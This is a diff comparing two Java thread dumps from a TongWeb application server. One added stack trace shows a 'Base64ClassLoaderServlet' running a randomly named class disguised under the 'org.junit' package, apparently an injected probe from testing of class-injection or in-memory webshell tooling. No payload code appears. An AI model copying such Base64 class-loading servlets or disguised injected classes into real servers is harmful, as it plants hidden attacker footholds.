com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -415,7 +381,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-10" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -426,27 +392,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13acbf2f - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) - -"snapshot" #131 daemon [TIMED_WAITING] on java.util.TaskQueue@dd62787 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) - -"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@35fe04ad - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.util.TimerThread.mainLoop(Timer.java:526) - at java.util.TimerThread.run(Timer.java:505) - -"JCA-default-thread-pool-worker-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-6" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -457,12 +403,66 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"RetryTimer" #101 daemon [WAITING] on java.util.TaskQueue@d18841 +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@42678329 java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) at java.lang.Object.wait(Object.java:502) - at java.util.TimerThread.mainLoop(Timer.java:526) - at java.util.TimerThread.run(Timer.java:505) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio2-8080-exec-6" #34 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.YLznV.ErrorSektbHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:108) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:107) + at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) + at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452) + at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) + at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) + at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43) + at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21) + at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:460) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:780) + at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:913) + at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1610) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:853) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:640) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:618) + at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126) + at sun.nio.ch.Invoker$2.run(Invoker.java:218) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) "NioBlockingSelector.BlockPoller-1" #40 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE @@ -473,7 +473,12 @@ ThreadStacks: at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) -"pool-5-thread-1" #184 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76721ab3 +"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@230f2a9c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"Thread-29" #120 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@239aa349 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -485,23 +490,13 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a24f1e5 +"snapshot" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@2ec8757a java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) - -"JCA-default-thread-pool-worker-7" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) -"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio-5100-exec-10" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -515,17 +510,13 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-ClientPoller-0" #127 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) +"http-nio2-9060-AsyncTimeout" #102 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -539,13 +530,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-AsyncTimeout" #114 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) - at java.lang.Thread.run(Thread.java:750) - -"http-nio2-0.0.0.0-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio-5100-exec-8" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -559,21 +544,24 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-7" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) +"RMI TCP Accept-0" #92 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Thread-6" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio2-8080-exec-9" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -587,7 +575,51 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-8" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"Thread-32" #140 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@50c8d541 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Auto-deploy-timer" #162 daemon [TIMED_WAITING] on java.util.TaskQueue@ac95e0e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI RenewClean-[172.17.0.4:37515]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@7c3f24f5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-172.17.0.4" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/953137620.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -601,13 +633,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #112 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-5100-exec-6" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio2-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -621,33 +647,33 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-ClientPoller-1" #128 daemon [RUNNABLE] +"Thread-5" #28 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) at java.lang.Thread.run(Thread.java:750) -"Auto-deploy-timer" #190 daemon [TIMED_WAITING] on java.util.TaskQueue@f3a4f60 - java.lang.Thread.State: TIMED_WAITING +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@11b1fdad + java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) -"RMI TCP Accept-7200" #103 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) +"http-nio2-8080-Acceptor-0" #103 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@7454007 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -661,15 +687,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-Acceptor-0" #129 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472) - at java.lang.Thread.run(Thread.java:750) - -"http-nio2-0.0.0.0-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -683,37 +701,39 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(3)-127.0.0.1" #109 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) +"http-nio2-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"TONGWEB-startStop-1" #110 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3 - java.lang.Thread.State: TIMED_WAITING +"JCA-default-thread-pool-worker-3" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e + java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-5" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@47bc47cf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-5100-exec-1" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -727,7 +747,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-3" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio2-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -741,7 +761,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-2" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio-5100-exec-4" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -755,7 +775,19 